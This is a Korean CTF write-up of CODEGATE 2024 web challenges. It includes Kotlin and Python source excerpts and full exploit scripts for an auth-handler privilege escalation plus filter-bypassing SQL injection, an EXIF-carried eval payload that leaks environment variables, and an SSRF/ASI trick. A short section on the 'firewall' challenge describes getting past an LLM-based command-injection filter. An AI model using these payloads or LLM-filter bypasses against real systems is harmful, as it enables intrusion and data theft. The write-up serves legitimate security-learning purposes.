Web
ShieldOSINT
총 3단계로 이루어진 문제이다. (플래그는 일반적으로는 접근 불가한 SITE_SECRET 테이블에 존재한다.)
- 에러를 발생시켜 권한 상승
session생성SQL Injection으로flag획득
Spring Boot에서는 인증(로그인, 회원가입 등)이 성공하면, 하나의 핸들러를 거치게 된다.
class ShieldCloud : AuthenticationSuccessHandler {
override fun onAuthenticationSuccess( request: HttpServletRequest, response: HttpServletResponse, authentication: Authentication ) { val authorities: MutableList<GrantedAuthority> = authentication.authorities.toMutableList() val shieldParamdata = request.getParameter("ShieldParam") var user_role: String = "false"
if (shieldParamdata != null) { try { val shieldParamNode: JsonNode = ObjectMapper().readTree(shieldParamdata) val shieldParam = shieldParamNode!!.get("user_role") println("shieldParam: ${shieldParam} type: ${shieldParam::class.simpleName}")
user_role = shieldParam?.toString() ?: "false"
if (user_role == "true") { authorities.add(SimpleGrantedAuthority("ROLE_USER")) }
} catch (e: JsonParseException) { authorities.add(SimpleGrantedAuthority("ROLE_USER")) } catch (e: Exception) { authorities.add(SimpleGrantedAuthority("ROLE_ADMIN")) } } else { authorities.add(SimpleGrantedAuthority("ROLE_USER")) }
val newAuth = UsernamePasswordAuthenticationToken( authentication.principal, authentication.credentials, authorities )
SecurityContextHolder.getContext().authentication = newAuth
response.sendRedirect("/") }}위 코드를 보면, shieldParam이 true일 경우 ROLE_USER를 부여하고, JsonParseException을 제외한 Exception이 발생한 경우 ROLE_ADMIN을 부여한다. 즉, ROLE_ADMIN을 부여받기 위해서는 NullPointerException을 발생시켜야 한다. (필요한 키인 user_role이 없는 경우 NullPointerException이 발생한다.)
그러나, ROLE_ADMIN을 받기만 해서는 flag를 얻기 위한 어떠한 작업도 수행할 수 없다. 아래의 코드를 보면, flag를 얻을 수 있는 통로인 /api/v6/shieldosint/search에서 session이 없다면 Session null을 반환하기 때문이다.
@RequestMapping("/api/v6/shieldosint")@Controllerclass ApiController(private val userService: UserService) { @EndPointManager @PreAuthorize("isAuthenticated()") @GetMapping("/search") @ResponseBody fun search( principal: Principal, @RequestParam("s", required = false, defaultValue = "testQuery") searchcheck: String = "", @RequestParam("q", required = false, defaultValue = "") querycheck: String = "", @RequestParam("mp", required = false, defaultValue = "") magiccheck: String = "" ): String { try { val siteUser = userService!!.getUser(principal.name)
if (siteUser.session != "null") { val reflectionController = ReflectionController()
val dataProvider = DataProvider() dataProvider.initializeDatabase()
val methodName = searchcheck val defaultQueryResult = reflectionController.reflectMethod(methodName)
val query = querycheck
if (query.isNotEmpty()) { val customQueryResult = reflectionController.reflectMethod(methodName, query, magiccheck) return "Query Result: $customQueryResult" } else { return "Query Result: $defaultQueryResult" } } else { return "session null ${siteUser.username}<br>${siteUser.session}" }
} catch (e: Exception) { return "Error" } }
@EndPointManager @PreAuthorize("isAuthenticated()") @GetMapping("/query") @ResponseBody fun query( principal: Principal, @RequestParam("q") sessioncheck: String ): String { try { if (sessioncheck != "Y") { return "Username: ${principal.name}<br>Session: null" }
val requestAttributes = RequestContextHolder.getRequestAttributes() as ServletRequestAttributes val request: HttpServletRequest = requestAttributes.request
val sessionId = request.session.id val siteUser = userService!!.getUser(principal.name)
userService.sessionAdd( siteUser = siteUser, session = sessionId )
return "Username: ${principal.name}<br>Session: ${siteUser.session}<br>Add Success!" } catch (e: Exception) { return "Error" } }}따라서, session을 생성하기 위해서 /api/v6/shieldosint/query에 sessioncheck를 Y로 보내면 된다.
그리고 나면, 최종 관문인 /api/v6/shieldosint/search에서 SQL Injection을 통해 flag를 획득할 수 있다. 아래의 코드를 보면 알겠지만, /api/v6/shieldosint/search에서 호출된 ReflectionController는 DataProvider의 메소드를 호출한다.
class ReflectionController {
fun reflectMethod( methodName: String, query: String? = null, magicParam: Any? = null ): String { return try { val clazz = DataProvider::class val instance = clazz.createInstance()
val method: KCallable<*>? = clazz.declaredFunctions.firstOrNull { it.name == methodName }
if (method != null) { if (query != null && query.isNotEmpty()) { when (magicParam) { is String -> { val finalQuery = query.split(" ")[2] method.call(instance, finalQuery) as String } is Int -> { val finalQuery = query.split(" ").last() method.call(instance, finalQuery) as String } is Boolean -> { val finalQuery = query.split(" ").first() method.call(instance, finalQuery) as String } else -> method.call(instance, query) as String } } else { method.call(instance, "") as String } } else { "Method not found" } } catch (e: Exception) { "An error occurred: ${e.message}" } }}즉, /api/v6/shieldosint/search -> ReflectionController -> DataProvider 순으로 호출되는데, ReflectionController에서 DataProvider의 메소드를 호출할 때, mp와 query에 따라 전달되는 인자가 달라진다. magicParam는 type을 나타내고, query는 magicParam에 따른 데이터를 나타낸다. 즉, magicParam을 string으로 지정하여, query의 3번째 단어에 SQL Injection을 할 쿼리를 넣으면 된다.
fun filterQuery(query: String): String { val hasWhitespace = Regex("\\s") val containsRuntime = Regex("(?i)runtime") val containsJava = Regex("(?i)java") val special_check1 = Regex("/") val special_check2 = Regex("\\*") val special_check3 = Regex("%") val special_check4 = Regex("(?i)DROP") val special_check5 = Regex("(?i)DELETE") val isLengthValid = query.length <= 40
if (hasWhitespace.containsMatchIn(query) || containsRuntime.containsMatchIn(query) || containsJava.containsMatchIn(query) || special_check1.containsMatchIn(query) || special_check2.containsMatchIn(query) || special_check3.containsMatchIn(query) || special_check4.containsMatchIn(query) || special_check5.containsMatchIn(query) || !isLengthValid) { return "" }
return query }
fun selectQuery(query: String = ""): String { val selectSQL = "SELECT SUBJECT FROM QUESTION WHERE ID>=1 and ID<=10"
val filteredQuery = filterQuery(query) val finalQuery = if (filteredQuery.isNotBlank()) "$selectSQL $filteredQuery" else selectSQL println("Executing SQL: $finalQuery")
try { getConnection().use { connection -> connection.createStatement().use { statement -> val resultSet = statement.executeQuery(finalQuery) val results = StringBuilder()
while (resultSet.next()) { results.append(resultSet.getString(1)).append("\n") }
return results.toString().trim() } } } catch (e: SQLException) { e.printStackTrace() } return "fail" }이제 여기서 위 코드의 WAF를 우회해야 하는데 간단히 우회할 수 있다. UNION(SELECT(sdata)FROM(SITE_SECRET))를 사용하면 된다!
최종적인 익스 코드는 아래와 같다.
import axios from 'axios'import { stringify, parse } from 'qs'
const instance = axios.create({ baseURL: 'http://13.125.48.233:8780',})
const csrfTokenRes = await instance.get('/user/login')const csrfToken = csrfTokenRes.data.match(/value="(.+)"/)[1]let TOKEN = csrfTokenRes.headers['set-cookie']?.[0].split(';')[0]const loginRes = await instance.post( '/user/login?ShieldParam=%7B%22userasdf_role%22%3Anull%7D', stringify({ username: 'asdfasdfasdf12', password: 'asdfasdfasdf12', _csrf: csrfToken, }), { maxRedirects: 0, headers: { cookie: TOKEN, 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: (status) => status === 302, },)
TOKEN = loginRes.headers['set-cookie']?.[0].split(';')[0]
await instance.get('/api/v6/shieldosint/query', { params: { q: 'Y' }, headers: { cookie: TOKEN },})
const sql = `UNION(SELECT(sdata)FROM(SITE_SECRET))`console.info(sql.length)await instance .get('/api/v6/shieldosint/search', { params: { s: 'filterQuery', q: `a a ${sql}`, mp: 'string' }, headers: { cookie: TOKEN }, }) .then((v) => console.log(v.data.replace('Query Result: ', '').length))await instance .get('/api/v6/shieldosint/search', { params: { s: 'selectQuery', q: `a a ${sql}`, mp: 'string' }, headers: { cookie: TOKEN }, }) .then((v) => console.log(v.data.replace('Query Result: ', '')))플래그를 안 적어뒀다 ㅠㅠ
combination
docker-compose.yml을 보면, flag가 environment에 저장되어 있는 것을 확인할 수 있다. 또 app.py를 보면 누가 봐도 의심스러운 safe_eval 함수가 존재한다. 또한 이는 /verify에서 특정 조건을 만족하면 호출된다. 그렇다면 safe_eval 함수를 통해 os.environ을 호출하여 flag를 획득하면 된다.
@app.route('/verify', methods=['GET', 'TRACE'])def verify_file(): flag = 0
if request.method == 'GET': new_file_path = session.get('new_file_path') if not new_file_path: return jsonify({'error': 'No file to verify'}), 400 else: return jsonify({'error': 'Verified'}), 200
if request.method == 'TRACE': new_file_path = session.get('new_file_path') try: img = Image.open(new_file_path) file_ext = os.path.splitext(new_file_path)[1].lower()
if file_ext in ['.png']: metadata = img.text return jsonify({'success': "Verified"}), 200 elif file_ext in ['.jpg', '.jpeg']: img = Image.open(new_file_path) try: if 'exif' in img.info: exif_data = img.info['exif'] if b"CODEGATE2024\x00" not in exif_data: return jsonify({'error': 'Unsupported file parse'}), 400
json_start_marker = b"CODEGATE2024\x00" json_start_index = exif_data.find(json_start_marker) + len(json_start_marker) json_data_bytes = exif_data[json_start_index:] json_data_str = json_data_bytes.decode('ascii')
try: json_data = json.loads(json_data_str) except json.JSONDecodeError: json_data = None return jsonify({'success': "Verified"}), 200
except KeyError as e: print('Index is not included')
try: exif_data = img._getexif() if exif_data: exif = {ExifTags.TAGS.get(tag, tag): value for tag, value in exif_data.items()} for key, value in exif.items(): if "ImageDescription" in key: ret = validate_domain(value) or validate_ipv4(value) or validate_ipv6(value) if not ret: return jsonify({'success': 'Verified'}) if "(" in value: return jsonify({'success': 'Verified'}) if ")" in value: return jsonify({'success': 'Verified'}) description_contents = safe_eval(value) items_dict = dict(description_contents) return jsonify({'debug': f'{items_dict}' }) except Exception as e: print(e) else: return jsonify({'error': 'Unsupported file format'}), 400
if flag == 1: return jsonify({'success': "This is an image"}), 200 else: return jsonify({'success': "Verified"}), 200
except Exception as e: return jsonify({'error': 'Error processing image'}), 500위 코드를 보면 알겠지만, /verify의 조건을 만족시키기 위해서는 두 개의 이미지가 필요하며 EXIF에 CODEGATE2024\x00가 존재해야 한다. 그리고 ImageDescription에 os.environ을 호출하는 코드가 존재해야 한다.
따라서 아래의 코드를 통해 flag를 획득할 수 있다. 파이썬 너무 어려워요
import piexifimport requests
from PIL import Image
cmd = 'os.environ'
exif_dict = { "0th": { piexif.ImageIFD.ImageDescription: cmd }, "Exif": { piexif.ExifIFD.UserComment: b"CODEGATE2024\x00" + '{"key": "value"}'.encode('ascii'), }}
exif_bytes = piexif.dump(exif_dict)
width, height = 10, 10
img1 = Image.new('RGB', (width, height), (255, 255, 255))img2 = Image.new('RGB', (width, height), (255, 245, 255))
img1.save('img1.jpeg', exif=exif_bytes)img2.save('img2.jpeg', exif=exif_bytes)
r = requests.Session()
with open('img1.jpeg', 'rb') as file_a, open('img2.jpeg', 'rb') as file_b: files = { 'file-a': file_a, 'file-b': file_b } a = r.post('http://43.201.116.50:3456/upload', files=files) print(a.text) b = r.request('TRACE','http://43.201.116.50:3456/verify') print(b.text)또 플래그를 안 적어뒀다 ㅠㅠㅠㅠ
dyson
대회 당일날 6시간가량 이 문제 잡다가 ShieldOSINT와 combination를 잡았는데, 방향을 잘 잡았으면 풀지 않았을까 한다.
먼저 secret.js를 봐보자.
var g = require('dyson-generators');var realFlag = require('fs').readFileSync('/flag.txt').toString();
module.exports = { path: '/api/flagService', exposeRequest: true, cache: false, template: { flag: function (req) { let guessPassword = false, guessFlag = false; try { if ( req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1' && req.socket.remoteAddress.replace(/^.*:/, '') != '1.3.3.7' ) { return 'Try Again!!'; }
if ( req.query.guess !== undefined && typeof req.query.guess !== 'string' && req.query.guess.length > 3 ) { return 'Try Again!!'; } const SuperSecretPassword = '[REDACTED]' [guessPassword, guessFlag] = req.query.guess !== undefined ? atob(req.query.guess).split('|') : ['idk', 'idk']) if (SuperSecretPassword == guessPassword) { return realFlag; } else if (realFlag == guessFlag) { return realFlag; } else { return 'Try Again!!'; } } catch { return 'Try Again!!'; } }, status: 'OK' }};/api/flagService로 요청을 받으며, localhost이면서 SuperSecretPassword와 guessPassword가 같거나, realFlag와 guessFlag가 같으면 flag를 반환한다. 그러나 이는 일반적으로는 우회가 불가능하다. SuperSecretPassword는 풀이자가 알 수 없도록 길 것이며, realFlag는 sha256으로 해싱되어 있을 거기 때문이다.
일단 다른 정보들도 얻어보자. 먼저, Dockerfile을 보면 dyson-demo를 가져오는 것을 알 수 있다. 이는 dyson을 활용한 앱임을 알 수 있으며, dyson은 multi request를 지원하는 라이브러리이다.
const http = require('http')
const isMultiRequest = (path, options) => { const delimiter = options.multiRequest return delimiter ? path.split('/').find((fragment) => fragment.includes(delimiter)) : false}
const doMultiRequest = (req, path) => { const options = req.app.get('dyson_options') const { err } = req.app.get('dyson_logger') const [hostname, port] = req.headers.host.split(':') const delimiter = options.multiRequest const range = isMultiRequest(path, options)
return range.split(delimiter).map((id, index, list) => { const url = path.replace(list, id) let data = ''
return new Promise((resolve, reject) => { http .get({ hostname, port, path: url }, (res) => { res.on('data', (chunk) => { data += chunk }) res.on('end', () => { resolve(JSON.parse(data)) }) }) .on('error', (error) => { err(error.message) reject(error) }) }) })}
module.exports = { isMultiRequest, doMultiRequest,}이를 통해서 일단, localhost 필터링을 우회할 수 있다.
secret.js를 좀 자세히 보면, ;(semicolon)이 안 찍혀 있는 것을 알 수 있다.
const SuperSecretPassword = '[REDACTED]'[guessPassword, guessFlag] = req.query.guess !== undefined ? atob(req.query.guess).split('|') : ['idk', 'idk'])와
const SuperSecretPassword = /*"[REDACTED]" [guessPassword, guessFlag] =*/ req.query.guess !== undefined ? atob(req.query.guess).split('|') : ['idk', 'idk']는 ASI misbehavior로 인해, 같은 코드로 인식된다. 따라서, http://url:port/user?,api/flagService?guess=으로 요청을 하면 flag를 얻을 수 있다. (물론 아래 사진과 같이, host를 변경해야 한다.)

대회 때 multi request가 있는 것은 알았으나, ASI misbehavior를 이용한 우회는 생각하지 못했다. 그래서 npm audit 돌려서 나온, prototype pollution만 엄청 시도해보고 있었다.
Ai
firewall
문제 파일을 보게 되면, ai를 통해 cmd injection을 방지하려고 하는 것을 알 수 있다. 그러나, cmd injection 필터링 명령을 system 프롬프트가 아닌 user 프롬프트를 통해 하기 때문에, 비교적 쉽게 우회할 수 있다.

codegate2024{1786d016ae1230e8d03e76c53c4a622098c72b73573d68979e167b45524407ed5c131c002342f44f664674fe91f2655a7a28}
다른 문제들은 풀면 업데이트하겠다.